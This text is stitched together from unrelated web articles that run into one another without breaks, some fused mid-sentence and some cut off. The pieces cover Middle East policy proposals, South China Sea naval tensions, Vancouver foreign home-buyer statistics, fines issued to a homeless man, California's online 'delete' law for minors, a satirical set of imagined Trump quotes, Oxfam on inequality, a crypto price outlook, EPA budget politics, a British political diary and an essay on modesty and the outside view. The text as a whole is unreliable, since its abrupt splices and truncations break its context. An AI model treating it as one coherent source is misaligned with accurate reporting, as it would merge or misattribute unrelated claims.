2. Fighting al-Qaeda and Da'esh by supporting the Iraqi government with help from Iran, the main supporter of the Kurds and other anti Da'esh forces, hopefully "will degrade and ultimately destroy ISIL" in Iraq, as the US president famously put it. Yet it is not clear how demanding a change in current Syrian political structures would advance this agenda, where Nusra Front (the Syrian branch of al-Qaeda) and Da'esh itself are the strongest forces in opposition. Moreover, segments within NATO member Turkey's Muslim Brotherhood oriented government, along with the Saudi-led GCC, are arming the extremists. The US should look to define a clearer, less contradictory strategy against al-Qaeda and Da'esh.
3. The EU should discourage the spread of the ideology of the mythic neo-Caliphate in Turkey by being more open to entertaining that nation's desire for membership. Either democracy must expand eastward, or the neo-Caliphate myth will expand westward.
4. Acknowledge the sovereignty and all current immutable borders throughout the Middle East. Al-Qaeda, Da'esh and such trans-national entities cannot be allowed a safe haven, regardless of the political terrain of any country. The recent conquest of Palmira in Syria and Ramadi in Iraq demonstrates that Da'esh is not receding but expanding and reinforcing its claim of building a trans-national Caliphate. The UN should encourage Iran, Turkey, Egypt and Saudi Arabia to promote a selective collaboration in the interests of regional stability.
5. The US-EU axis and the Russia-China axis should similarly collaborate on economic incentives to encourage Ankara, Tehran and Islamabad to form a possible axis of security that would benefit all three nations, as well as the entire region. Unlike the Saudi-led GCC where power is closely held within certain families, Turkey, Iran and Pakistan possess some institutions that, at least by regional standards, are modern; they also possess important civil societies capable of influencing the political attitudes of their respective governments.
6. Reform should be encouraged in the countries of the Saudi-led GCC, which still control 24% of the world's oil reserves and use their wealth to preserve extreme internal inequality and external expansionism. The absence of reform at home and the export of extremist teachings of clerics who back slavery and regard any diversity as apostasy ("an ideology that is destructive and nihilistic" as US President Obama has described it") will only serve to further boost al-Qaeda and Da'esh ( ISIL,ISIS,IS) by leaving them as the unique alternative.In this undated photo released Saturday, Aug. 6, 2016, by China's Xinhua News Agency, a Chinese H-6K bomber flies during a patrol over the South China Sea. (Photo11: Gao Fei, AP)
QINGDAO, China — The response from Beijing and others to an arbitration panel’s ruling invalidating China’s vast South China Sea maritime claims has brought no surprises, but much more military transparency is needed to reduce tensions in the region, the commander of the U.S. Pacific Fleet said Tuesday.
Adm. Scott Swift also criticized China-Russia joint naval exercises planned next month in the South China Sea, saying the choice of location was not conducive to “increasing the stability within the region.” He also said any decision by China to declare an air defense identification zone over the strategic water body would be “very destabilizing from a military perspective.”
Swift was visiting the northern Chinese port of Qingdao as part of efforts to build trust and understanding between the two navies, now locked in a protracted competition for primacy in East Asia, where the U.S. has traditionally been the dominant military power.
Attention has been fixed on the South China Sea since the July 12 ruling by The Hague-based Permanent Court of Arbitration in a case brought by the Philippines. China refused to participate in the case or recognize the ruling, and strongly criticized the U.S. for encouraging its ally to pursue the matter.
Since then, Beijing has launched air patrols over the South China Sea, said it would consider declaring an air defense zone and vowed to continue work on man-made islands created from piling sand atop coral reefs in the highly contested Spratly group.
New satellite photos show work proceeding on what seem to be two-dozen hardened concrete airplane hangars on the islands suitable for housing Chinese air force planes, including strategic bombers and inflight refuelers.
The photos were collected and studied by the Center for Strategic and International Studies, a Washington-based think tank, and reported in The New York Times. They show construction work on man-made islands at Fiery Cross, Subi and Mischief reefs.
China has said the new islands are primarily to assist fishermen and other causes, as well as to reinforce its sovereignty claims. China also says that the islands should be able to defend themselves, and that it is entitled to build whatever structures it wishes on them.
Meanwhile, Japan protested Tuesday over a marked increase in the number of Chinese coast guard and fishing vessels in waters near disputed islands in the East China Sea.
Swift said the responses of all parties to the arbitration ruling had been consistent with their long-held positions and it was unclear what, if any, recent Chinese actions had been taken specifically in response.
“I think it’s a mistake to take them individually and not look at them as a collective. And you have to look at it as an extension of an arc,” Swift said.
Such judgments were made more difficult by a lack of transparency about intentions, he said, repeating a frequent U.S. criticism of China’s secretive military.
“The uncertainty in the region is because of the lack of transparency and exactly where it is that arc is going. And that arc is defined by multiple data points,” he said.
Swift cited two examples: The still unexplained cancellation by China of a visit by the aircraft carrier USS Stennis earlier this year, and the reason for the construction of the new aircraft hangers.
“That increases the angst and uncertainty, that lack of transparency, and that is generally destabilizing as opposed to a stabilizing action,” Swift said.
The admiral said he was confident the U.S. Navy would continue to sail close to China’s artificial islands in what are called freedom of navigation missions to reinforce the stipulations of the United Nations Convention on the Law of the Sea, although he said such decisions are made in Washington. China deeply resents such cruises, greeting them with threats and harassment.
Swift also criticized the planned China-Russia drills, saying, “There are other places those exercises could have been conducted.”
“So I think that is a matter of concern and something that should be considered from the perspective of actions that are not increasing the stability within the region,” he said.
Also Tuesday, Former Philippine President Fidel Ramos said in Hong Kong that he wants to focus on points of common interest with China such as tourism and commercial fishing as part of efforts to smooth relations with Beijing roiled by the South China Sea dispute.
Current Philippine President Rodrigo Duterte has asked the 88-year-old Ramos to act as his special envoy to pave the way for talks with Beijing.
While the Chinese government has yet to formally comment on Ramos’ mission, the official Xinhua News Agency said in an editorial Tuesday that it “brings a whiff of hope that the two countries will return to bilateral negotiations over the issue.”
Read or Share this story: http://usat.ly/2bcbSgBDid Metro Vancouver just get too expensive for foreign buyers? The BC Ministry of Finance threw us a breakdown of foreign buying across the province. Surprisingly, Vancouver is no longer the top dog. In the City of Vancouver, foreign buyer sales have grinded to a halt, and are significantly below the baseline for the province.
Only 36 Foreign Sales In The City of Vancouver
The City of Vancouver saw a shockingly low number of sales to foreign buyers. Property transfer records show 36 of the 1,350 sales that happened in May were by non-resident buyers. This means 2.7% of transactions involved foreign buyers, which is now below the provincial average of 3.9%. Actually, it’s even lower than the average of Metro Vancouver, which saw 3% of transactions go to non-resident buyers.
Source: Ministry of Finance (BC).
In terms of dollar volume, the City of Vancouver saw a total of $1,519,414,625 in property change hands in May. Of that, only $38,593,493 dollars were transactions involving foreign nationals. This represents 2.5% of total volume, once again below the average for Metro Vancouver. The average price of a home bought by a non-resident works out to $1.07 million.
Foreign Buying In The City of Vancouver Over The Past Year
We’re just a few weeks shy of a full year of data, so let’s breakdown how May compares to the past year. From June 10, 2016 to the end of May 2017, The City of Vancouver saw 826 of the 13,737 property transfers include a non-resident party. This works out to 6% of all transactions.
Source: Ministry of Finance (BC).
In terms of dollar volume for the year, the City of Vancouver saw a total of $16.3 billion of real estate transferred from June 2016 to the end of May 2017. Of those sales, $1.11 billion involved non-resident buyers. This works out to roughly 6.8% of all transactions by dollar volume.
Foreign buying in the province has been tapering for quite some time, but the City of Vancouver is experiencing a bigger drop. Changes to China’s capital controls in January has led to the throttling of Mainland Chinese money. Markets across the world are noticing it, and Vancouver is no different. However, Vancouver’s numbers are falling faster than the average for the province.
One of the interesting things about this decline is Vancouver is no longer the number one place for foreign buyers in BC. A sleepy boring city has become a hotspot with almost three times the buyers. Although that’s another article for another day.
Like this post? Like us on Facebook for the next one in your feed.I’m going to guess that this guy really doesn’t care about his credit rating.
Nothing says societal progress like fining a homeless person $110,000. I would imagine that being homeless in Montreal (like this guy) would be “fine” enough.
(From TrueActivist) The recent case of a homeless man racking up massive fines has exposed the widespread police practice of fining homeless people for being homeless. Émilie Guimond-Bélanger, a social worker at the Droits Devant legal clinic in Montreal spoke to the media about a case that she worked on where a homeless man racked up over $110,000 in tickets. “It was shocking. We’ve never seen someone with so many tickets,” Émilie told CBC. The man had over 500 tickets, which amounted to over $110,000 in fines.
Click here for the article.Earlier this year Google's Eric Schmidt suggested that the internet should have a "delete" button for individuals that wanted to remove troubling information from the web, and thanks to a new law minors in California will get that chance. The SFGate reports that California governor Jerry Brown signed a new law today that will require internet companies to pull down online activity from their services should a minor make the request. While the law is a step forward it has more than a few loopholes. Companies won't need to remove any data from their servers — they'll just need to take it offline — and it only covers photos, data, or other online activity that is generated by the requesting individuals themselves. Minors won't be able to force companies to pull information posted, or reposted, by others. It's scheduled to go into effect in 2015.
While most mainstream services already allow users to delete their accounts, the new law is the latest development in what's been a particularly proactive effort by California legislators to deal with online issues. The state already has provisions in place that ensure victims of domestic violence can have information pulled from the web, and last year it passed a law that prevents employers and universities from demanding Facebook login credentials from individuals.Matt Latimer is a former speechwriter for President George W. Bush. He is currently a co-partner in Javelin, a literary agency and communications firm based in Alexandria, and contributing editor at Politico Magazine.
The news that Donald Trump will begin receiving intelligence briefings on Wednesday has created concern that the oversharing GOP candidate will be unable to resist vague-tweeting or otherwise blabbing America’s secrets to the entire world. That very worry was expressed recently by President Obama, who implicitly warned Trump against reckless disclosures, saying if presidential candidates “want to be president, they have to start acting like a president.” There is obviously considerable irony here: Obama neglected to note, of course, that it wasn’t Trump but his favored candidate, Hillary Clinton, who was recently criticized by the FBI director for her “extremely careless” handling of classified material.
Still, there’s reason to be worried that Trump will continue his campaign-long habit of warning darkly of dangers without delivering specifics—only now no one will be able to fact-check him because the sources he cites will be classified.
Story Continued Below
But there is another possibility—that a sobering look at the real state of affairs in the world will give the Republican nominee his first real sense of the sizable challenges in store for the next commander in chief. Unlike Secretary Clinton and nearly every one of the Republicans who challenged him for the nomination, Trump has not been immersed in the intelligence world. Since he’s never worked at all in the federal government, he’s never received a classified briefing, of the type congressional leaders and various Cabinet secretaries receive as a matter of course. This is a new world for him. Maybe, one hopes, these briefings will help him realize just how complicated that world actually is.
Having worked for a U.S. president and a secretary of defense, both of whom were privy to intelligence briefings on a daily basis, I know personally how these briefings can affect people. Indeed, it’s hard to imagine that any person would not be altered significantly by hearing and seeing firsthand the activities of people who seek every day to do the hard work of keeping Americans from harm. Knowing things before the rest of the world knows them isn’t always cool; sometimes it’s frightening. I had some experience in this area from my time in the White House, having learned about the looming financial crisis of 2008 before the general public had any idea that our entire economy was within days of a systemic collapse.
So what will the impact of access to America’s biggest secrets have on the candidate? Will we see a “Scared Straight” Trump or a “Scary” Trump? Which version of the following sounds more realistic?
SUBJECT: ISIS
Scared Straight Trump: “One of the biggest challenges I will face as commander in chief is confronting and combating the ideology that propels this hatred of our Western values. ISIS’s activities across the Middle East are an affront to every civilized society, which is why I am more committed now than ever to work with our allies in Europe and Asia and the Middle East. And, you know, in retrospect maybe this whole Obama founded ISIS stuff was a little silly. While I have many criticisms of the administration’s conduct with regard to ISIS, it’s a lot more complicated than that.”
Scary Trump: “Folks, I just got out of an intelligence briefing. What I could tell you right now about ISIS. Believe me, what I could tell you. But I’d get into trouble, right? Crooked Hillary can email classified info all over the place, but I do it, and I’m in jail, OK? Double standard by the corrupt and money-losing left wing media. Anyway, I’m hearing—now I can’t reveal exactly what I’m hearing because it’s classified—but I definitely can tell you that my Muslim ban on immigration was the right way to go. I can’t tell you why I know. But believe me. Believe me."
SUBJECT: VLADIMIR PUTIN
Scared Straight Trump: “You know, over the past few months, I’ve said some complimentary things about Vladimir Putin. But when you see the toll his actions have taken on his own people, when you see the threat he poses to his neighbors, and to all of Europe, it makes you realize that the Russian dictator has a very different approach to governance than we do. We can work with him, yes, but we also need to stand up to him whenever it’s warranted.”
Scary Trump: “Did you know Vladimir Putin can bench-press 300 pounds? Now, I can’t tell you where I heard that, but what a physique this guy has. I mean, it’s impressive, right? I mean, I hear some bad things about him, but I’m not so sure I can trust what I’m hearing from the Obama CIA anyway.”
SUBJECT: CHINA
Scared Straight Trump: “The United States has a very complicated relationship with the People’s Republic of China. The PRC is a rising economy that challenges U.S. dominance. China also is seeking various methods—called asymmetric threats—to counter America’s military power in Asia. The long story short is that we need a competitive strategy to deal with China—both as a partner and as a rival. And I didn’t realize how significant this challenge was until the last few days.”
Scary Trump: “So I meet with my intel team, right? Let me tell you—these stooges kept mentioning something called ‘the PRC’ and I was like, ‘What is that? I thought we were here to talk about China.’ So they say, ‘Well, that is China, Mr. Trump.’ And I said, ‘That’s not what you said. You said the PCP or the PRC or PBS, or whatever. Why make it so confusing?’ It’s not rocket science, folks. If you are talking about China, just say China. Anyway, I know all I need to know about China and I don’t need some pimply-faced losers from Langley who never go out in the sun telling me this stuff. The Bank of China has their largest branch in the Trump Tower in New York City. So, I know who I’m dealing with, OK?”
SUBJECT: NATO
Scared Straight Trump: “When I said that member states of NATO need to pay their fair share in the Alliance’s defense, I meant that. That does not mean that I believe NATO is a useless organization, nor that we shouldn’t come to our allies’ defense in their time of need. And yes, despite what I used to say in my speeches, I know NATO had started working on the terrorism problem long before I came along. In some parts of the world, the member states of NATO—the U.K. and Germany among them—are our closest allies. In some cases, our only allies. I’m proud of the work NATO has done, and the United States will stand with the alliance to counter threats to our collective peace and security.”
Scary Trump: “So I ask these guys in my intelligence briefings—they’re all geniuses, supposedly, which they will be the first to tell you—name one thing NATO has done that makes it worth billions and billions of American dollars every year. They started hemming and hawing that I had the numbers wrong or NATO has a lot of nice meetings or some such. Blah, blah, blah. Listen, after what I heard in my briefings, I realize that I’ve been right all along about NATO. Believe me. Believe me."
It’s too soon to know how this will turn out. But if Trump’s past history is any guide, it’s unfortunately |
the cause, say experts, of increasingly intractable poverty levels in places like sub-Saharan Africa and across the Global South. "The richest," said Oxfam's executive director Winnie Byanyima, "can no longer pretend their wealth benefits everyone – their extreme wealth in fact shows an ailing global economy. The recent explosion in the wealth of the super-rich has come at the expense of the majority and particularly the poorest people."
Last week, as Common Dreams reported, international watchdog group The Global Policy Forum put out its own critical report critical regarding the impacts of large philanthropic foundations and charities. Employing the term "philanthrocapitalism" to described the phenonomen, the report argues that the "influence of large foundations in shaping the global development agenda, including health, food, nutrition, and agriculture" raises "a number of concerns in terms of how it is affecting governments and the UN development system."
And the intersection between outrageous levels of inequality on the one hand and the rise of powerful private foundations on the other shows how interlocked these phenomenons have become. As Gary Olson, professor of political science at Moravian College in Pennsylvania, wrote recently at Common Dreams, "The one thing that Big Philanthropy must overlook is the green elephant astride the boardroom’s conference table, the economic system that causes and extends [economic and social] injustices in perpetuity."Hello and welcome to News BTC’s Market Outlook June 13.
DASH/USD
DASH had a volatile session on Monday, as we reached towards the $200 level again, but quite frankly we continue to see a significant amount of resistance in that area. Crypto currencies in general are looking a bit overbought and very much like they are in a bubble currently, although DASH seems to be less so than many of the others. I believe that the $150 level below is the “floor” in the market, and that $200 above will continue to keep gains down.
LTC/USD
LiteCoin fell significantly during the session on Monday, reaching all the way down to the $22 level, an area that has been very supportive in the past. We bounce significantly from there, but the $34 level continues to offer resistance. Pullbacks could be buying opportunities, as the market is very bullish but now it seems like many of the other currencies that are produced digitally are a bit overbought. Because of this, volatility should continue to be wild.
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Even President Donald Trump likes clean water and air. During his speech to Congress Tuesday night, Trump certainly didn’t dwell on the matter: His pledge to “promote clean air and water” was lumped in a sentence with commitments to work with both parties, push for paid family leave, and “invest in women’s health.” But it was still there.
No matter who you ask—Republicans or Democrats—everyone likes to breathe air and drink water that won’t kill them. Air and water poll so well, in fact, that Republicans will almost never come out and say that their policies might actually make them dirtier. Trump used similar lines about clean air and water throughout the campaign, saying things like, “We are going to work very, very hard on clean air and clean water.” The subject also appears near the bottom of the energy section of the White House website.
But earlier Tuesday, Trump signed an executive order that directed the Environmental Protection Agency to limit the scope of what counts as a regulated body of water under the Clean Water Act. More executive orders are on their way, and career staff are waiting to hear how many of their jobs may be cut.
Several weeks ago, Trump and congressional Republicans repealed an Obama-era rule designed to protect waterways from coal mining waste. In addition, Republicans on Team Trump are opposed to regulating coal plants’ mercury pollution. Trump’s Environmental Protection Agency head Scott Pruitt filed a failed lawsuit as attorney general to overturn the regulation. He filed another lawsuit against the EPA regional haze rule, which requires state plans to clear the air around national parks. Republicans have also hinted they might revisit the EPA’s so-called “endangerment finding,” which declared that carbon pollution harms human health and is therefore subject to the Clean Air Act.
In a CNN interview just hours before Trump’s speech Tuesday, Pruitt revealed just how desperate Republicans sometimes are to avoid talking to the public about how their plans would impact air and water.
CNN’s Wolf Blitzer asked Pruit if he would be comfortable with cutting the EPA’s $8 billion budget by 25 percent, the amount that’s been floated by anonymous administration sources. “And if so,” asked Blitzer, “where will those cuts come from within the EPA?”
“Well half of the EPA budget is grant-related, and those grants go to states across the country for water infrastructure and those types of issues,” Pruitt answered. “That’s very important to protect.”
Blitzer then pressed Pruitt in four different ways to explain exactly what cuts he would like to see at the agency. Asked if we should expect big layoffs at the EPA, Pruitt didn’t answer beyond saying the EPA should operate within the rule of law. Asked how states can enforce regulations while the federal EPA budget is slashed, Pruitt again just explained the state grants will continue to be funded. But as a federal agency, the EPA does work that states can’t, from enforcement of federal law to accounting for pollution that isn’t confined to state borders. The 2011 cross-state air pollution rule is one example; in that case, the EPA required 27 states to limit their smog that was affecting down-wind states. Pruitt filed a lawsuit against that one, too.
The EPA has a number of other vital responsibilities that Pruitt didn’t mention, but it’s easier for him to focus on what is less likely to disappear, which is why he stuck to his talking points about the 40 percent of the EPA’s budget that funds state programs. The agency has used these power to clean up hazardous sites, force polluters to reduce smog and mercury emissions, and fine wrongdoers, like Volkswagen, which was accused of cheating on its emission tests. The EPA issues a cost-benefit analysis for each of its rules, and on the benefits side the agency notes that its actions save thousands of lives annually.
At one point, Blitzer asked Pruitt, “Can you guarantee that the water supply, the water people drink, will be safe if pollution isn’t limited?” Pruitt again didn’t really answer. States are “an active partner in ensuring water quality,” he said.
Pruitt seemed far more concerned about the EPA picking “winners and losers” in the energy industry, a talking point usually reserved for debates about how to allocate tax cuts to various energy sources. “Washington, DC, should not be in the business of picking coal or natural gas or wind or renewables, one over the other,” he said. “It should be about setting rules that apply fairly across the board to make things regular for all those that are in the industry.”
“Make things regular” is one of Pruitt’s favorite lines. But the administration is gambling with the safety of water and air, things we like to take for granted.So Barack Obama is facing the fight of his life (another one) as he attempts to reform the US healthcare system. The "special interests" – doctors, healthcare companies – don't like it. The "birthers" – crazy types who hope to prove he is not American – smell blood. The danger, says the Investor's Business Daily, is that he borrows too much from the UK. "The controlling of medical costs in countries such as Britain through rationing, and the health consequences thereof, are legendary. The stories of people dying on a waiting list or being denied altogether read like a horror script … People such as scientist Stephen Hawking wouldn't have a chance in the UK, where the National Health Service would say the life of this brilliant man, because of his physical handicaps, is essentially worthless." We say his life is far from worthless, as they do at Addenbrooke's hospital, Cambridge, where Professor Hawking, who has motor neurone disease, was treated for chest problems in April. As indeed does he. "I wouldn't be here today if it were not for the NHS," he told us. "I have received a large amount of high-quality treatment without which I would not have survived." Something here is worthless. And it's not him.
Paul Rowen
It's a rough and tumble game, is politics. If you are Mandy, the snappers follow you on holiday. If you are Hazel, evildoers set about your car. And if you are Liberal Democrat frontbencher Paul Rowen (pictured), they say myriad nasty things about you. On the strength of a published expenses claim, detailing fruit bought for an intern, they may even call you "bananas". But they do so at their peril. We learn that unless he receives a retraction, Rowen is to sue the Labour candidate in Rochdale, Simon Danczuk. Labour produced two aggressive campaigning leaflets, one of which made much of the fruity, if entirely legal, expenses claim for a 40p banana. Rowen did not like the leaflets. He may not like bananas. At this stage we just can't say. There are many accusations that might irk him. The banana thing is merely the most eye-catching. "The ordinary and natural meaning of the above statement is that our client is 'insane', 'unbelievable' or 'ridiculous'," says the legal letter, extracted in a Labour press release. "This allegation is untrue. Our client is not 'insane', 'unbelievable', or 'ridiculous'. It is accordingly incorrect to state that our client is 'bananas' and you have no evidence whatsoever of our client being 'bananas' (ie being 'insane', 'unbelievable' or 'ridiculous')." We have no such evidence and make no such claim, but it seems clear that things have got pretty rumbustious in Rochdale. A wafer-thin majority – 1.1% last time – will do that. A time for cool heads and, perhaps, thick skins.
With the Commons all rattled we look to the upper house for sense and stability. This from the Ukip peer Lord Pearson of Rannoch. "To ask Her Majesty's Government how much is paid annually to members of bigamous Islamic families in housing benefit and other social security payments." The answer: "The social security system only recognises relationships that have been lawfully contracted in the UK or in other jurisdictions." Civilisation survives to fight another day.
Lord Berkeley, meanwhile, teases out of government the fact that a bridge for bats over the Dobwalls bypass in Cornwall cost £300,000. "The bridges provide a linear feature over the bypass that is used by the bats to guide them along their flight lines," explains Lord Adonis. A toll was not practical. Pity.
And finally, we do not doubt that Julian Leppart, the BNP councillor for Redbridge, east London got rid of his car on discovering that the licence plate appeared to say Nazi (NA5IZCY). Anyone would. And a mistake is a mistake. But if he sold it, who bought it? Does it veer to the right.Follow-up to: Living in an Inadequate World
The thesis that needs to be contrasted with modesty is not the assertion that everyone can beat their civilization all the time. It’s not that we should be the sort of person who sees the world as mad and pursues the strategy of believing a hot stock tip and investing everything.
It’s just that it’s okay to reason about the particulars of where civilization might be inadequate, okay to end up believing that you can state a better monetary policy than the Bank of Japan is implementing, okay to check that against observation whenever you get the chance, and okay to update on the results in either direction. It’s okay to act on a model of what you think the rest of the world is good at, and for this model to be sensitive to the specifics of different cases.
Why might this not be okay?
It could be that “acting on a model” is suspect, at least when it comes to complicated macrophenomena. Consider Isaiah Berlin’s distinction between “hedgehogs” (who rely more on theories, models, global beliefs) and “foxes” (who rely more on data, observations, local beliefs). Many people I know see the fox’s mindset as more admirable than the hedgehog’s, on the basis that it has greater immunity to fantasy and dogmatism. And Philip Tetlock’s research has shown that political experts who rely heavily on simple overarching theories—the kind of people who use the word “moreover” more often than “however”—perform substantially worse on average in forecasting tasks.
Or perhaps the suspect part is when models are “sensitive to the specifics of different cases.” In a 2002 study, Buehler, Griffin, and Ross asked a group of experimental subjects to provide lots of details about their Christmas shopping plans: where, when, and how. On average, this experimental group expected to finish shopping more than a week before Christmas. Another group was simply asked when they expected to finish their Christmas shopping, with an average response of 4 days. Both groups finished an average of 3 days before Christmas. Similarly, students who expected to finish their assignments 10 days before deadline actually finished one day before deadline; and when asked when they had previously completed similar tasks, replied, “one day before deadline.” This suggests that taking the outside view is an effective response to the planning fallacy: rather than trying to predict how many hiccups and delays your plans will run into by reflecting in detail on each plan’s particulars (the “inside view”), you can do better by just guessing that your future plans will work out roughly as well as your past plans.
As stated, these can be perfectly good debiasing measures. I worry, however, that many people end up misusing and overapplying the “outside view” concept very soon after they learn about it, and that a lot of people tie too much of their mental conception of what good reasoning looks like to the stereotype of the humble empiricist fox. I recently noticed this as a common thread running through three conversations I had.
I am not able to recount these conversations in a way that does justice to the people I spoke to, so please treat my recounting as an unfair and biased illustration of relevant ideas, rather than as a neutral recitation of the facts. My goal is to illustrate the kinds of reasoning patterns I think are causing epistemic harm: to point to some canaries in the coal mine, and to be clear that when I talk about modesty I'm not just talking about Hal Finney's majoritarianism or the explicit belief in civilizational adequacy.
i.
Conversation 1 was about the importance of writing code to test AI ideas. I suggested that when people tried writing code to test an idea I considered important, I wanted to see the code in advance of the experiment, or without being told the result, to see if I could predict the outcome correctly.
I got pushback against this, which surprised me; so I replied that my having a chance to make advance experimental predictions was important, for two reasons.
First, I thought it was important to develop a skill and methodology of predicting “these sorts of things” in advance, because past a certain level of development when working with smarter-than-human AI, if you can’t see the bullets coming in advance of the experiment, the experiment kills you. This being the case, I needed to test this skill as much as possible, which meant trying to make experimental predictions in advance so I could put myself on trial.
Second, if I could predict the results correctly, it meant that the experiments weren’t saying anything I hadn’t figured out through past experience and theorizing. I was worried that somebody might take a result I considered an obvious prediction under my current views and say that it was evidence against my theory or methodology, since both often get misunderstood. If you want to use experiment to show that a certain theory or methodology fails, you need to give advocates of the theory/methodology a chance to say beforehand what they think they predict, so the prediction is on the record and neither side can move the goalposts.
And I still got pushback, from a MIRI supporter with a strong technical background; so I conversed further.
I now suspect that—at least this is what I think was going on—their mental contrast between empiricism and theoreticism was so strong that they thought it was unsafe to have a theory at all. That having a theory made you a bad hedgehog with one big idea instead of a good fox who has lots of little observations. That the dichotomy was between making an advance prediction instead of doing the experiment, versus doing the experiment without any advance prediction. Like, I suspect that every time I talked about “making a prediction” they heard “making a prediction instead of doing an experiment” or “clinging to what you predict will happen and ignoring the experiment.”
I can see how this kind of outlook would develop. The policy of making predictions to test your understanding, to put it on trial, presupposes that you can execute the “quickly say oops and abandon your old belief” technique, so that you can employ it if the prediction turns out to be wrong. To the extent that “quickly say oops and abandon your old belief” is something the vast majority of people fail at, maybe on an individual level it’s better for people to try to be pure foxes and only collect observations and try not to have any big theories. Maybe the average cognitive use case is that if you have a big theory and observation contradicts it, you will find some way to keep the big theory and thereby doom yourself. (The “Mistakes Were Made, But Not By Me” effect.)
But from my perspective, there’s no choice. You just have to master “say oops” so that you can have theories and make experimental predictions. Even on a strictly empiricist level, if you aren’t allowed to have models and you don’t make your predictions in advance, you learn less. An empiricist of that sort can only learn surface generalizations about whether this phenomenon superficially “looks like” that phenomenon, rather than building causal models and putting them on trial.
ii.
Conversation 2 was about a web application under development, and it went something like this.
startup founder 1: I want to get (primitive version of product) in front of users as fast as possible, to see whether they want to use it or not.
eliezer: I predict users will not want to use this version.
founder 1: Well, from the things I’ve read about startups, it’s important to test as early as possible whether users like your product, and not to overengineer things.
eliezer: The concept of a “minimum viable product” isn’t the minimum product that compiles. It’s the least product that is the best tool in the world for some particular task or workflow. If you don’t have an MVP in that sense, of course the users won’t switch. So you don’t have a testable hypothesis. So you’re not really learning anything when the users don’t want to use your product.
founder 1: No battle plan survives contact with reality. The important thing is just to get the product in front of users as quickly as possible, so you can see what they think. That’s why I’m disheartened that (group of users) did not want to use (early version of product).
eliezer: This reminds me of a conversation I had about AI twice in the last month. Two separate people were claiming that we would only learn things empirically by experimenting, and I said that in cases like that, I wanted to see the experiment description in advance so I could make advance predictions and put on trial my ability to foresee things without being hit over the head by them.
In both of those conversations I had a very hard time conveying the idea, “Just because I have a theory does not mean I have to be insensitive to evidence; the evidence tests the theory, potentially falsifies the theory, but for that to work you need to make experimental predictions in advance.” I think I could have told you in advance that (group of users) would not want to use (early version of product), because (group of users) is trying to accomplish (task 1) and this version of the product is not the best available tool they’ll have seen for doing (task 1).
I can’t convey it very well with all the details redacted, but the impression I got was that the message of “distrust theorizing” had become so strong that Founder 1 had stopped trying to model users in detail and thought it was futile to make an advance prediction. But if you can’t model users in detail, you can’t think in terms of workflows and tasks that users are trying to accomplish, or at what point you become visibly the best tool the user has ever encountered to accomplish some particular workflow (the minimum viable product). The alternative, from what I could see, was to think in terms of “features” and that as soon as possible you would show the product to the user and see if they wanted that subset of features.
There’s a version of this hypothesis which does make sense, which is that when you have the minimum compilable product that it is physically possible for a user to interact with, you can ask one of your friends to sit down in front of it, you can make a prediction about what parts they will dislike or find difficult, and then you can see if your prediction is correct. Maybe your product actually fails much earlier than you expect.
But this is not like getting early users to voluntarily adopt your product. This is about observing, as early as possible, how volunteers react to unviable versions of your product, so you know what needs fixing earliest or whether the exposed parts of your theory are holding up so far.
It really looks to me like the modest reactions to certain types of overconfidence or error are taken by many believers in modesty to mean, in practice, that theories just get you into trouble; that you can either make predictions or look at reality, but not both.
iii.
Conversation 3 was with Startup Founder 2, a member of the effective altruism community who was making Material Objects—I’ll call them “Snowshoes”—who had remarked that modern venture capital was only interested in 1000x returns and not 20x returns.
I asked why he wasn’t trying for 1000x returns with his current company selling Snowshoes—was that more annoyance/work than he wanted to undertake?
He replied that most companies in a related industry, Flippers, weren’t that large, and it seemed to him that based on the outside view, he shouldn’t expect his company to become larger than the average company in the Flippers industry. He asked if I was telling him to try being more confident.
I responded that, no, the thing I wanted him to think was orthogonal to modesty versus confidence. I observed that the customer use case for Flippers was actually quite different from Snowshoes, and asked him if he’d considered how many uses of Previous Snowshoes in the world would, in fact, benefit from being replaced by the more developed version of Snowshoes he was making.
He said that this seemed to him too much like optimism or fantasy, compared to asking what his company had to do next.
I had asked about how customers would benefit from new and improved Snowshoes because my background model says that startups are more likely to succeed if they provide real economic value—value of the kind that Danslist would provide over Craigslist if Danslist succeeded, and of the kind that Craigslist provides over newspaper classifieds. Getting people to actually buy your product, of course, is a separate question from whether it would provide real value of that kind. And there’s an obvious failure mode where you’re in love with your product and you overestimate the product’s value or underestimate the costs to the user. There’s an obvious failure mode where you just look at the real economic value and get all cheerful about that, without asking the further necessary question of how many decisionmakers will choose to use your product; or whether your marketing message is either opaque or easily faked; or whether any competitors will get there first if they see you being successful early on; or whether you could defend a price premium in the face of competition. But the question of real economic value seems to me to be one of the factors going into a startup’s odds of succeeding—Craigslist’s success is in part explained by the actual benefit buyers and sellers derive from the existence of Craigslist—and worth factoring out before discussing purchaser decisionmaking and value-capturing questions.
It wasn’t that I was trying to get Founder 2 to be more optimistic (though I did think, given his Snowshoes product, that he ought to at least try to be more ambitious). It was that it looked to me like the outside view was shutting down his causal model of how and why people might use his product, and substituting, “Just try to build your Snowshoes and see what happens, and at best don’t expect to succeed more than the average company in a related industry.” But I don’t think you can get so far as even the average surviving company, unless you have a causal model (the dreaded inside view) of where your company is supposed to go and what resources are required to get there.
I was asking, “What level do you want to grow to? What needs to be done for your company to grow that much? What’s the obstacle to taking the next step?” And… I think it felt immodest to him to claim that his company could grow to a given level; so he thought only in terms of things he knew he could try, forward-chaining from where he was rather than backward-chaining from where he wanted to go, because that way he didn’t need to immodestly think about succeeding at a particular level, or endorse an inside view of a particular pathway.
I think the details of his business plan had the same outside-view problem. In the Flippers industry, two common versions of Flippers that were sold were Deluxe Flippers and Basic Flippers. Deluxe Flippers were basically preassembled Basic Flippers, and Deluxe Flippers sold for a much higher premium than Basic Flippers even though it was easy to assemble them.
We were talking about a potential variation of his Snowshoes, and he said that it would be too expensive to ship a Deluxe version, but not worth it to ship a Basic version, given the average premiums the outside view said these products could command.
I asked him why, in the Flippers industry, Deluxe sold for such a premium over Basic when it was so easy to assemble Basic into Deluxe. Why was this price premium being maintained?
He suggested that maybe people really valued the last little bit of convenience from buying Deluxe instead of Basic.
I suggested that in this large industry of slightly differentiated Flippers, maybe a lot of price-sensitive consumers bought only Basic versions, meaning that the few Deluxe buyers were price-insensitive. I then observed again that the best use case for his product was quite different from the standard use case in the Flipper industry, and that he didn’t have much direct competition. I suggested that, for his customers that weren’t otherwise customers in the Flippers industry, it wouldn’t make much of a difference to his pricing power whether he sold Deluxe or the much easier to ship Basic version.
